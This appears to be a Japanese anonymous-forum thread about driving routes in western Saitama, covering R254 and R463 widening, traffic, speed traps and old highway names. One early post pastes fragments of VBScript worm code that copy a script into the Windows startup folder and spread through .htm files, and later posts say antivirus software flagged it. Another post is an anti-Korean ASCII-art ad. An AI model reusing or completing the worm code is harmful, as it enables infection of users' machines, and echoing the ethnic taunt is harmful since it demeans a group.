【R254】 西埼玉を走る 【R463】

荒川以西、八高線以東の話題はこちらでどうぞ。

●飯能やR299、八高線以西の話題は、下記へどうぞ。
埼玉を走る１８本目
http://hobby7.2ch.net/test/read.cgi/car/1120617930/

●荒川以東の話題は下記へどうぞ。
さいたまを走る１５本目
http://hobby7.2ch.net/test/read.cgi/car/1098625484/

●秩父の話題は下記へどうぞ。
【R299】秩父を走る【R140】
http://hobby7.2ch.net/test/read.cgi/car/1115300250/

2get
西埼玉は全体的に渋滞が激しい印象。

VBS.Network.E
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

走る場所ある？

>4
下手糞にはムリよ。

ドライブする場所なら結構あると思う。
嵐山ドライブインには食べ物の自販機もあるしw

西埼玉というよりは中央部じゃねーか？
ややこしいので　糸冬 了

県中央部っていうと、さいたま市なのか東松山市なのかわからない。
ここは埼玉県の指通りに
県央、県南西部、秩父、県北部、県東部とするのが正しい。
http://www.pref.saitama.lg.jp/what_ara/chiiki.html

こっちでもノートン先生が飯能したぞ！？

>３が怪しい！？

こういうことするやつって気色悪い

>>8　そんな地図上の理屈じゃなくて…　
つか､そんな細かく似たり寄ったりのスレ作ったらややこしいでしょ。

結局は、埼玉スレがＲ２９９の隔離スレ化してるからでしょ。
西埼玉人が、埼玉スレで語るのは事実上無理だし。

今日、大学最寄りの高坂駅西口のファミマーにお笑い芸能人が来て
１日店員やるらしいよ！！

北埼玉を走る
http://hobby7.2ch.net/test/read.cgi/car/1120659062/l50

↑だれかこういうアホ止めてよ。
類似スレを乱立させてアホか…頭悪〜っ

Ｒ２５４嵐山バイパス４車線化工事してるね。
ただ、パチンコ屋のあたりまでだけど・・・。

あれはどこまで4車線になるんだろうかな？
オートRsあたりまで車幅の余裕があるよねぇ。

最近嵐山バイパス混むんだよなぁ
かえって旧道つかったほうがはやいくらい・・・

>>16
いちお、嵐山ドライブインのあたりまで４車線化出来そうだけどね。

糸冬　了

小川バイパスは４車線化出来ないのかな？
嵐山小川ICとの接続道路のとｋろおまで４車線化出来ればいいんだけど。
東小川団地はどちらか片側の店を全部どかせば４車線化出来そうだけど。

細分化するな。というか、R462なんて秩父より西じゃん。R407でいいじゃん。

>>20
R462ってドコ走ってるの？w
スレタイに書いてあるのはR463（浦所道路）だけど。

Ｒ４６３といえば、所沢バイパスの東京側接続って府中街道に決まったんだっけ？
個人的には新所沢街道に繋げて欲しいんだけど。
そうすれば所沢方面から都心方面への表ルートになるし。

東埼玉スレと南埼玉スレはまだ？

>>24
南埼玉＆東埼玉は「さいたまで走る」スレでどうぞ。

東松山無料道路ってみんな飛ばしてるけど真っ暗だよね。
ろくに照明に設置されてない。。

>>25
１００ｋｍオーバーでも余裕で走れるけど、ねずみ取りには十分ご注意。
森林公園南口のところと、西口の所でよくやってる。

最近はレーダー反応しないねずみ取りもあるんだな・・・。

>>3
ウイルス入れてる

お、こんなスレ出来たんだ！
Ｒ４０７の高坂バイパスや日高バイパスはいい加減に開通した？

つーか、単なる通過交通で川越市街地走るのヤメレ。
所詮松平信綱が約350年前に作った都市計画がそのまま現代まで使われてるので自動車は想定してないん
だから。
市街地外周を廻って通過してくれよ。

>>29
言うことが極端。
一番街も江戸時代より拡張されてるし、そもそもその南側が本川越まで貫通したのは大正以降。

>>29
深夜でもなきゃ、好きで外周線の内側走るやつなんていないと思うがw
どうみたって外周線走った方が早いし。

ただ坂戸方面から県道で札の辻に出た場合、そのまま貫通がメジャーだな・・・。

>>28
高坂バイパスは都幾川の橋を現在工事中。
もう橋桁かけてる段階だから今年中開業も可能か。
日高バイパスは鶴ヶ島側の現道との取付口工事中。
全通はまだ先か。

川越なんて県道15通るだけだ

>>33
国道は全てバイパスになっちゃったからね。
川越駅西側の開かずの踏切が昔の国道16号だったんて信じられるかな。

>>34
あの踏切を川越駅西側と書く方向感覚が理解できない。

東上線は池袋から北というより西に進んでるからなあ。
でも川越駅は東口と西口だね。

今の川越バイパスは実は２代目。

>>37
グリーンパーク行き西武バスが走ってる２車線の道がそうだよね？
小仙波交差点のところに出る道。

和光富士見バイパスの件
http://www.pref.saitama.lg.jp/A08/BA15/254bp/254bpmein1.htm

国道４１１号通行止のようです。
テレビで見る限り、オイラン淵のあたりかなーという気もしますが。

川島町の女の子に恋をしています

それはそれは・・・・

どうやって川島町って知ったんだろう >>41 は…。
すとーｋ(ry

なんでもありません。

すとー　けんき

名前は？

http://www.nichirei.co.jp/food/vending.html
この自販機あるところ知らない？

>>46
関越のSAかPA

三芳ＰＡと高坂ＳＡには無かった。
売店がない寄居ＰＡあたりにはあるかもしれん。

久々に深夜に４０７走ったけどトラック大杉。

R407は、神奈川から群馬に抜ける道だからな。
ここより西側だと山を走らないとならないから結構重要なようだ。
２車線なのにトラック大杉だから事故が発生すると凄い事になる。

http://hobby7.2ch.net/test/read.cgi/car/1122977377/l50

西埼玉は殺人スバヲタ医師の庭

この時期の２５４はやっぱ混んでるな。

>>319
そんな計画があったとは…


完成すれば
463の富士見有料入口から川越街道までの
渋滞も解消されるだろうね

…てか富士見はそんな道作る気あるのか？？
あの大赤字自治体が…
完成しても有料になりそうでコワス

>>53
どこのレスだかわからないが・・・w

嵐山バイパス、東松山側の５００ｍぐらい４車線化工事完了したのに開放しないのは何故？

>>55 婦人会館のところまで開通してから開放

どうせなら、嵐山バイパスの西端まで一気に４車線化して欲しいね。
カインズホームのあたりとか、流れ悪すぎ・・・。
流れ悪いに右側の店に入る車とか多いし。

>>46
関越下り嵐山Ｐだったような・・・

>>54
内容的に39へのレスなんだろうが、何故間に1があるのか意味不明。

花園ＩＣ付近大渋滞age

池袋から東松山まで２５４で深夜どのくらいかかる？

誰か答えてやれよｗ

下げちまった。

1時間

嵐山と東松山駅そばの旧道はなぜちょんぎれてんの？
埼玉だとそーいうのは珍しいね

>>65
R254旧道の東松山は神明町〜本町２丁目が４０７と重複区間。
なので神明町あたりにある４０７の横断歩道は未だに国道２５４号と書いてある。

嵐山は区画整理で旧道自体が消滅したかと。

２５４って江戸時代の川越街道を通っていったほうが速いケースあるね。

２５４上りは美里町の野中交差点で右折だけど、直進するのが昔の街道。
道なりに進んだ突き当たりを左折、５００ｍぐらいの荒川交差点を右折、
そのまま花園橋を渡って横断歩道を越えたところの信号を左折、
お寺のところで突き当たりで右に入り、直進、
東松山市上唐子で２５４バイパスを横断、
Ｒ２５４旧道を走り、そのまま県道高坂上唐子線でＲ４０７へ。
高坂橋を渡ったら左折、道なりに川越に入ってしまう。

昼間はこのルートが一番速い気がする。
嵐山から東は４車線化されたので２５４のほうが速いかもしれんけど。

川越児玉往還ってのが正式な名前か。

>>67
> ２５４って江戸時代の川越街道

江戸時代の川越街道は江戸から川越までだぞ。もっとも川越側から言えば江戸道だけどな。
川越から松山までは「川越松山道」でそれから先は良く知らん。>>68が言ってるのがそうかもしれん。
と言いながら、川越市広報課が市制70周年記念に作った記念誌は、業者に丸投げしたため江戸時代のペ
ージなのに「信州まで続く川越街道」みたいな記述が堂々と掲載されていて萎え。

>>69
正確には、「川越・児玉往還」といって板橋から藤岡を結ぶ道ですな。
これは、川越街道と児玉街道を会わせた名前で、脇往還ではこう呼ばれた。
ただ実際には児玉街道（児玉道）とはあまり呼ばれないで、
川越街道（川越道）とか江戸道とか呼ばれていたらしいから、
その記念誌は間違いともいえないはず。
ちなみに川越・児玉往還では松山は通らない。松山市内でも高坂は通るけど。

ちなみに脇往還とは五街道以外の主要道で、五街道と脇往還は幕府が宿駅整備した。

>>70
> ただ実際には児玉街道（児玉道）とはあまり呼ばれないで、
> 川越街道（川越道）とか江戸道とか呼ばれていたらしいから、
> その記念誌は間違いともいえないはず。

んー、ただ現在の一般的歴史本では注釈なしで「川越街道」って書くと上板橋宿・下練馬宿・白子宿・膝折宿
・野火止・大和田宿・三芳＆藤久保・大井宿・川越までを指すんだよね。
地元でも普通それより先は「川越街道」には含めてない。
それ以外の場合は特記しないと記述自体の信憑性が疑われちゃう恐れあり。

小前田に川越街道の道しるべが残っているそうだがｗ

まぁ、江戸時代の道は色々な呼び方があるみたいだからねー。
幕府が宿駅整備してからは五街道以外の幕府整備の道は
往環という言い方をしてたけど民衆は「〜道」というのが一般的だったわけだし。

川越街道の通行者も8割は板橋〜藤岡通しだったみたいだし。
中仙道の近道だったみたいだね。

なつかしい。
国道２５４号ができる前は、この道通ったよ。
今よりもほとんど交差点で曲がらないで群馬まで行けた。

>>72
へえ、そんなのあるんですか。
こんど通ったとき注意してみよう。

２５４混んでそうなとき、よく小川バイパスの角山曲がって花園→
小前田→野中使います。
ところで「道の駅おがわ」ってなんであんなところに作ったんだろう？
バイパスの方が土地もありそうなのに・・・
和紙のお土産とか売ってるのに勿体無い

確か小川バイパスが全線開通する前からあったからでないかな？
（TUTAYAやその先までしかなかった時代が長く続き
あまりバイパスの意味が無かった）

>>76
ああ、そーゆーことだったんですか。サンクスです。
あそこは他の道の駅と違って、入りにくいし目立たないですよね。

道の駅おがわが出来たとき、すでに小川バイパスが全線開通してたよ。
あの道の駅は元々、郷土資料館とそいて作ったものを道の駅を併設したからじゃない？
まだ２５４旧道は国道解除されてなかったよね？

ところで小川バイパスって勾配がキツイせいか、>>67のルート通る大型車多いね。
特にトレーラーとか。
せっかく２５４のノロい車から避けられたのに、当たると最悪。

>>78
そういやあの道の駅、大きめの資料館みたいな建物がありますね。
そっちは中は入ったことがないけど。
他のとこと比べてもトイレは小さいし、自販機も２〜３台くらい
置いてあるだけだから、資料館のついでの道の駅なのかな。

道の駅は道の駅単独で作ったものと、元々なんかの施設で駐車場に余裕があるから
道の駅にしちゃったというので明らかに２種類に分類出来るかも。

>>73
中山道はやはり中山道と書いてもらいたいものだ。

スレ違いかもしれんが、所沢から463浦所ﾊﾞｲﾊﾟｽに出る一般道126号線って道出来てます？
2005年板の地図で見る限り463に完璧に繋がってんだけど、確か繋がってないような気がしたから…。

>>82
所沢のどこから４６３に出たいのだ？
県道１２６号自体は所沢市街地には向かわないけど。
東所沢方面から？中富方面から？

>>83
文がおかしくてｽﾏｿ…(/｡＼)
中富方面からです。

>>84
中富方面からはすでに４６３まで開通してるよ。

いつのまに…(￣□￣;)!!
さんきゅです！

大井から三芳の裏道で一面冠水してた
地下道とかなら一目見て深いってわかるけど
ほとんど凹凸を感じない平坦な場所で
えらい距離バンパーまで浸かりながら走ったよ

クロカンからコンパクトカーに変えたばかりなので
すげー嫌な汗かいた

埼玉県民きんもーっ☆

こないだの台風の日のR463の冠水っぷりについて

>>88
金毛？
おまえはきもい☆

　::::... 　韓流　もう終わっちゃったのかなぁ？
　　　::::... ∧＿∧＿∧
　　　 ::::.（∀・（　´Д｀） バカ野郎 そんなもん最初からねえよ
　　　r -（　　（　O┰O
　 ..::ii'⌒< <　 ）　冊冊〉ｷｺｷｺ・・
　　::'､__,,l!しし（＿）l!lJ´
　　　　 　　 　 '､__,l!j 　　　::::..

あなたはもう「マンガ嫌韓流」を読んで
正しい歴史認識を持ちましたか？

つか、R254・463じゃ、あんま話題なくね？

話題っつーかなんていうか

最近行政道路って単語を知ったんだけど
で、どうやらそれが４６３を指しているらしいところまで分かったんだけど
どこら辺からどこら辺までそう呼ばれているか知ってる人います？
自分は志木在住なんだけど初めて知ったよ

所沢〜入間の人良かったら教えてください

行政道路は、入間から所沢じゃないかな？

>>94
そんな所かな、浦和〜所沢間は、浦所（うらとこ）がﾒｼﾞｬｰだよね？

>>93>>94
じゃ西武新宿線くぐってから入間市駅の４６３終点までってところですかね
サンクスです

だけど何で行政道路という通称なんだろう…

荒川の東側は埼大通りだよ。